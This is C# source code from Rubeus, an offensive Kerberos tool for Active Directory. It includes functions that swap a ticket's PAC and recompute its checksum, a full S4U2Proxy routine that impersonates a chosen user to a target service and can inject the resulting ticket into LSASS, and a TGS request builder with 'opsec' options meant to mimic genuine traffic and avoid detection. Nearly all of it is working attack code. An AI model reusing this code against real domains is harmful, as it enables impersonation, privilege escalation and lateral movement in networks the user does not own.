public void SetPac(PACTYPE pac) { if (authorization_data == null) { authorization_data = new List <AuthorizationData>(); } List <AuthorizationData> oldAuthData = new List <AuthorizationData>(); foreach (var authdata in authorization_data) { ADIfRelevant tmpifrelevant = new ADIfRelevant(); foreach (var adData in ((ADIfRelevant)authdata).ADData) { if (!(adData is ADWin2KPac win2k_pac)) { tmpifrelevant.ADData.Add(adData); } } if (tmpifrelevant.ADData.Count > 0) { oldAuthData.Add(tmpifrelevant); } } authorization_data = new List <AuthorizationData>(); ADIfRelevant ifrelevant = new ADIfRelevant(); ifrelevant.ADData.Add(new ADWin2KPac(pac)); authorization_data.Add(ifrelevant); foreach (var authdata in oldAuthData) { authorization_data.Add(authdata); } }
public byte[] CalculateTicketChecksum(byte[] krbKey, Interop.KERB_CHECKSUM_ALGORITHM krbChecksumType) { byte[] ticketChecksum = null; byte[] oldWin2kPacData = null; PACTYPE oldWin2kPac = null; EncTicketPart tmpEncTicketPart = this; // find the PAC and place a zero in it's ad-data List <AuthorizationData> newAuthData = new List <AuthorizationData>(); foreach (var tmpadData in tmpEncTicketPart.authorization_data) { ADIfRelevant tmpifrelevant = new ADIfRelevant(); foreach (var ifrelevant in ((ADIfRelevant)tmpadData).ADData) { if (ifrelevant is ADWin2KPac win2k_pac) { oldWin2kPacData = win2k_pac.ad_data; oldWin2kPac = win2k_pac.Pac; ADWin2KPac tmpWin2k = new ADWin2KPac(); tmpWin2k.ad_data = new byte[] { 0x00 }; tmpWin2k.Pac = null; tmpifrelevant.ADData.Add(tmpWin2k); } else { tmpifrelevant.ADData.Add(ifrelevant); } } newAuthData.Add(tmpifrelevant); } tmpEncTicketPart.authorization_data = newAuthData; ticketChecksum = Crypto.KerberosChecksum(krbKey, tmpEncTicketPart.Encode().Encode(), krbChecksumType); foreach (var tmpadData in tmpEncTicketPart.authorization_data) { ADIfRelevant tmpifrelevant = new ADIfRelevant(); foreach (var ifrelevant in ((ADIfRelevant)tmpadData).ADData) { if (ifrelevant is ADWin2KPac win2k_pac) { win2k_pac.ad_data = oldWin2kPacData; win2k_pac.Pac = oldWin2kPac; } } } return(ticketChecksum); }
private static void S4U2Proxy(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "", KRB_CRED tgs = null, bool opsec = false, string proxyUrl = null, string createnetonly = null, bool show = false) { Console.WriteLine("[*] Impersonating user '{0}' to target SPN '{1}'", targetUser, targetSPN); if (!String.IsNullOrEmpty(altService)) { string[] altSnames = altService.Split(','); if (altSnames.Length == 1) { Console.WriteLine("[*] Final ticket will be for the alternate service '{0}'", altService); } else { Console.WriteLine("[*] Final tickets will be for the alternate services '{0}'", altService); } } // extract out the info needed for the TGS-REQ/S4U2Proxy execution string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; string domain = kirbi.enc_part.ticket_info[0].prealm; Ticket ticket = kirbi.tickets[0]; byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; Console.WriteLine("[*] Building S4U2proxy request for service: '{0}'", targetSPN); TGS_REQ s4u2proxyReq = new TGS_REQ(!opsec); s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CONSTRAINED_DELEGATION; s4u2proxyReq.req_body.realm = domain; string[] parts = targetSPN.Split('/'); string serverName = parts[parts.Length - 1]; s4u2proxyReq.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; foreach (string part in parts) { s4u2proxyReq.req_body.sname.name_string.Add(part); } // supported encryption types s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); // add in the ticket from the S4U2self response s4u2proxyReq.req_body.additional_tickets.Add(tgs.tickets[0]); // needed for authenticator checksum byte[] cksum_Bytes = null; // the rest of the opsec changes if (opsec) { // remove renewableok and add canonicalize s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK; s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE; // 15 minutes in the future like genuine requests DateTime till = DateTime.Now; till = till.AddMinutes(15); s4u2proxyReq.req_body.till = till; // extra etypes s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp); s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.old_exp); // get hostname and hostname of SPN string hostName = Dns.GetHostName().ToUpper(); string targetHostName; if (parts.Length > 1) { targetHostName = parts[1].Substring(0, parts[1].IndexOf('.')).ToUpper(); } else { targetHostName = hostName; } // create enc-authorization-data if target host is not the local machine if (hostName != targetHostName) { // authdata requires key and etype from tgs byte[] tgsKey = tgs.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE tgsEtype = (Interop.KERB_ETYPE)tgs.enc_part.ticket_info[0].key.keytype; ADIfRelevant ifrelevant = new ADIfRelevant(); ADRestrictionEntry restrictions = new ADRestrictionEntry(); ADKerbLocal kerbLocal = new ADKerbLocal(); ifrelevant.ADData.Add(restrictions); ifrelevant.ADData.Add(kerbLocal); AsnElt authDataSeq = ifrelevant.Encode(); authDataSeq = AsnElt.Make(AsnElt.SEQUENCE, authDataSeq); byte[] authorizationDataBytes = authDataSeq.Encode(); byte[] enc_authorization_data = Crypto.KerberosEncrypt(tgsEtype, Interop.KRB_KEY_USAGE_TGS_REQ_ENC_AUTHOIRZATION_DATA, tgsKey, authorizationDataBytes); s4u2proxyReq.req_body.enc_authorization_data = new EncryptedData((Int32)tgsEtype, enc_authorization_data); } // encode req_body for authenticator cksum AsnElt req_Body_ASN = s4u2proxyReq.req_body.Encode(); AsnElt req_Body_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { req_Body_ASN }); req_Body_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, req_Body_ASNSeq); byte[] req_Body_Bytes = req_Body_ASNSeq.CopyValue(); cksum_Bytes = Crypto.KerberosChecksum(clientKey, req_Body_Bytes, Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_RSA_MD5); } // moved to end so we can have the checksum in the authenticator PA_DATA padata = new PA_DATA(domain, userName, ticket, clientKey, etype, opsec, cksum_Bytes); s4u2proxyReq.padata.Add(padata); PA_DATA pac_options = new PA_DATA(false, false, false, true); s4u2proxyReq.padata.Add(pac_options); byte[] s4ubytes = s4u2proxyReq.Encode().Encode(); byte[] response2 = null; if (String.IsNullOrEmpty(proxyUrl)) { string dcIP = Networking.GetDCIP(domainController); if (String.IsNullOrEmpty(dcIP)) { return; } Console.WriteLine("[*] Sending S4U2proxy request to domain controller {0}:88", dcIP); response2 = Networking.SendBytes(dcIP, 88, s4ubytes); } else { Console.WriteLine("[*] Sending S4U2proxy request via KDC proxy: {0}", proxyUrl); KDC_PROXY_MESSAGE message = new KDC_PROXY_MESSAGE(s4ubytes); message.target_domain = domain; response2 = Networking.MakeProxyRequest(proxyUrl, message); } if (response2 == null) { return; } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response2, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP) { Console.WriteLine("[+] S4U2proxy success!"); // parse the response to an TGS-REP TGS_REP rep2 = new TGS_REP(responseAsn); // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62 byte[] outBytes2 = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher); AsnElt ae2 = AsnElt.Decode(outBytes2, false); EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]); if (!String.IsNullOrEmpty(altService)) { string[] altSnames = altService.Split(','); foreach (string altSname in altSnames) { // now build the final KRB-CRED structure with one or more alternate snames KRB_CRED cred = new KRB_CRED(); // since we want an alternate sname, first substitute it into the ticket structure rep2.ticket.sname.name_string[0] = altSname; // add the ticket cred.tickets.Add(rep2.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart2.key.keytype; info.key.keyvalue = encRepPart2.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart2.realm; // [2] pname (user) info.pname.name_type = rep2.cname.name_type; info.pname.name_string = rep2.cname.name_string; // [3] flags info.flags = encRepPart2.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart2.starttime; // [6] endtime info.endtime = encRepPart2.endtime; // [7] renew-till info.renew_till = encRepPart2.renew_till; // [8] srealm info.srealm = encRepPart2.realm; // [9] sname info.sname.name_type = encRepPart2.sname.name_type; info.sname.name_string = encRepPart2.sname.name_string; // if we want an alternate sname, substitute it into the encrypted portion of the KRB_CRED Console.WriteLine("[*] Substituting alternative service name '{0}'", altSname); info.sname.name_string[0] = altSname; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}/{1}':\r\n", altSname, serverName); if (Rubeus.Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } if (!String.IsNullOrEmpty(outfile)) { string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{altSname}-{serverName}{Helpers.GetExtensionFromFilename(outfile)}"; filename = Helpers.MakeValidFileName(filename); if (Helpers.WriteBytesToFile(filename, kirbiBytes)) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); } } if (ptt) { // pass-the-ticket -> import into LSASS ImportTicket(kirbiBytes, createnetonly, show); } } } else { // now build the final KRB-CRED structure, no alternate snames KRB_CRED cred = new KRB_CRED(); // if we want an alternate sname, first substitute it into the ticket structure if (!String.IsNullOrEmpty(altService)) { rep2.ticket.sname.name_string[0] = altService; } // add the ticket cred.tickets.Add(rep2.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart2.key.keytype; info.key.keyvalue = encRepPart2.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart2.realm; // [2] pname (user) info.pname.name_type = rep2.cname.name_type; info.pname.name_string = rep2.cname.name_string; // [3] flags info.flags = encRepPart2.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart2.starttime; // [6] endtime info.endtime = encRepPart2.endtime; // [7] renew-till info.renew_till = encRepPart2.renew_till; // [8] srealm info.srealm = encRepPart2.realm; // [9] sname info.sname.name_type = encRepPart2.sname.name_type; info.sname.name_string = encRepPart2.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}':\r\n", targetSPN); if (Rubeus.Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } if (!String.IsNullOrEmpty(outfile)) { string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{targetSPN}{Helpers.GetExtensionFromFilename(outfile)}"; filename = Helpers.MakeValidFileName(filename); if (Helpers.WriteBytesToFile(filename, kirbiBytes)) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); } } if (ptt) { // pass-the-ticket -> import into LSASS ImportTicket(kirbiBytes, createnetonly, show); } } } else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } }
public static byte[] NewTGSReq(string userName, string domain, string sname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, bool renew = false, string s4uUser = "", bool enterprise = false, bool roast = false, bool opsec = false, bool unconstrained = false, KRB_CRED tgs = null, string targetDomain = "", bool u2u = false) { TGS_REQ req; if (u2u) { req = new TGS_REQ(!u2u); } else { req = new TGS_REQ(!opsec); } if (!opsec && !u2u) { // set the username req.req_body.cname.name_string.Add(userName); } // get domain from service for cross domain requests // if not requesting a cross domain TGT (krbtgt) string[] parts = sname.Split('/'); if (String.IsNullOrEmpty(targetDomain)) { if (!(roast) && (parts.Length > 1) && (parts[0] != "krbtgt") && (tgs == null) && parts[0] != "kadmin") { if (parts[1].Split('.').Length > 2) { targetDomain = parts[1].Substring(parts[1].IndexOf('.') + 1); // remove port when SPN is in format 'svc/domain.com:1234' string[] targetParts = targetDomain.Split(':'); if (targetParts.Length > 1) { targetDomain = targetParts[0]; } } if (String.IsNullOrEmpty(targetDomain)) { targetDomain = domain; } } else if (enterprise) { targetDomain = sname.Split('@')[1]; } else { targetDomain = domain; } } // the realm (domain) the user exists in req.req_body.realm = targetDomain.ToUpper(); // add in our encryption types if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial) { // normal behavior req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp); //req.req_body.etypes.Add(Interop.KERB_ETYPE.des_cbc_crc); } // real traffic have these etypes except when requesting a TGT, then only else if ((opsec) && (parts.Length > 1) && (parts[0] != "krbtgt")) { req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp); req.req_body.etypes.Add(Interop.KERB_ETYPE.old_exp); } else { // add in the supported etype specified req.req_body.etypes.Add(requestEType); } if (!String.IsNullOrEmpty(s4uUser)) { // constrained delegation yo' if (u2u) { req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE | Interop.KdcOptions.ENCTKTINSKEY | Interop.KdcOptions.FORWARDABLE | Interop.KdcOptions.RENEWABLE | Interop.KdcOptions.RENEWABLEOK; req.req_body.sname.name_string.Add(sname); req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_UNKNOWN; } else { req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_PRINCIPAL; req.req_body.sname.name_string.Add(userName); } if (!opsec) { req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.ENCTKTINSKEY; } if (opsec) { req.req_body.etypes.Add(Interop.KERB_ETYPE.old_exp); } } else if (u2u) { req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE | Interop.KdcOptions.ENCTKTINSKEY | Interop.KdcOptions.FORWARDABLE | Interop.KdcOptions.RENEWABLE | Interop.KdcOptions.RENEWABLEOK; req.req_body.sname.name_string.Add(sname); req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_PRINCIPAL; } else { if (enterprise) { // KRB_NT-ENTERPRISE = 10 // userPrincipalName // sAMAccountName // sAMAccountName@DomainNetBIOSName // sAMAccountName@DomainFQDN // DomainNetBIOSName\sAMAccountName // DomainFQDN\sAMAccountName req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_ENTERPRISE; req.req_body.sname.name_string.Add(sname); req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE; } else if (parts.Length == 1) { // KRB_NT_SRV_INST = 2 // service and other unique instance (e.g. krbtgt) req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; req.req_body.sname.name_string.Add(sname); req.req_body.sname.name_string.Add(domain); } else if (parts.Length == 2) { // KRB_NT_SRV_INST = 2 // SPN (sname/server.domain.com) req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; req.req_body.sname.name_string.Add(parts[0]); req.req_body.sname.name_string.Add(parts[1]); } else if (parts.Length == 3) { // KRB_NT_SRV_HST = 3 // SPN (sname/server.domain.com/blah) req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_HST; req.req_body.sname.name_string.Add(parts[0]); req.req_body.sname.name_string.Add(parts[1]); req.req_body.sname.name_string.Add(parts[2]); } else { Console.WriteLine("[X] Error: invalid TGS_REQ sname '{0}'", sname); } } if (renew) { req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.RENEW; } if (tgs != null) { req.req_body.additional_tickets.Add(tgs.tickets[0]); if (!u2u) { req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CONSTRAINED_DELEGATION | Interop.KdcOptions.CANONICALIZE; req.req_body.kdcOptions = req.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK; PA_DATA pac_options = new PA_DATA(false, false, false, true); req.padata.Add(pac_options); } } // needed for authenticator checksum byte[] cksum_Bytes = null; // opsec complete the request body before the creation of the AP-REQ if (opsec) { // set correct flags based on type of request req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE; if (!unconstrained) { req.req_body.kdcOptions = req.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK; } if (unconstrained) { req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.FORWARDED; } // get hostname and hostname of SPN string hostName = Dns.GetHostName().ToUpper(); string targetHostName; if (parts.Length > 1) { targetHostName = parts[1].Substring(0, parts[1].IndexOf('.')).ToUpper(); } else { targetHostName = hostName; } // create enc-authorization-data if target host is not the local machine if ((hostName != targetHostName) && String.IsNullOrEmpty(s4uUser) && (!unconstrained)) { ADIfRelevant ifrelevant = new ADIfRelevant(); ADRestrictionEntry restrictions = new ADRestrictionEntry(); ADKerbLocal kerbLocal = new ADKerbLocal(); ifrelevant.ADData.Add(restrictions); ifrelevant.ADData.Add(kerbLocal); AsnElt authDataSeq = ifrelevant.Encode(); authDataSeq = AsnElt.Make(AsnElt.SEQUENCE, authDataSeq); byte[] authorizationDataBytes = authDataSeq.Encode(); byte[] enc_authorization_data = Crypto.KerberosEncrypt(paEType, Interop.KRB_KEY_USAGE_TGS_REQ_ENC_AUTHOIRZATION_DATA, clientKey, authorizationDataBytes); req.req_body.enc_authorization_data = new EncryptedData((Int32)paEType, enc_authorization_data); } // S4U requests have a till time of 15 minutes in the future if (!String.IsNullOrEmpty(s4uUser)) { DateTime till = DateTime.Now; till = till.AddMinutes(15); req.req_body.till = till; } // encode req_body for authenticator cksum AsnElt req_Body_ASN = req.req_body.Encode(); AsnElt req_Body_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { req_Body_ASN }); req_Body_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, req_Body_ASNSeq); byte[] req_Body_Bytes = req_Body_ASNSeq.CopyValue(); cksum_Bytes = Crypto.KerberosChecksum(clientKey, req_Body_Bytes, Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_RSA_MD5); } // create the PA-DATA that contains the AP-REQ w/ appropriate authenticator/etc. PA_DATA padata = new PA_DATA(domain, userName, providedTicket, clientKey, paEType, opsec, cksum_Bytes); req.padata.Add(padata); // moved so all PA-DATA sections are inserted after the request body has been completed, this is useful when // forming opsec requests as they require a checksum of the request body within the authenticator and the // PADATA-TGS-REQ should go before the other PA-DATA sections if (opsec && (!String.IsNullOrEmpty(s4uUser))) { // real packets seem to lowercase the domain in these 2 PA_DATA's domain = domain.ToLower(); // PA_S4U_X509_USER commented out until we get the checksum working PA_DATA s4upadata = new PA_DATA(clientKey, s4uUser, domain, req.req_body.nonce, paEType); req.padata.Add(s4upadata); } // add final S4U PA-DATA if (!String.IsNullOrEmpty(s4uUser)) { // constrained delegation yo' PA_DATA s4upadata = new PA_DATA(clientKey, s4uUser, domain); req.padata.Add(s4upadata); } else if (opsec) { PA_DATA padataoptions = new PA_DATA(false, true, false, false); req.padata.Add(padataoptions); } return(req.Encode().Encode()); }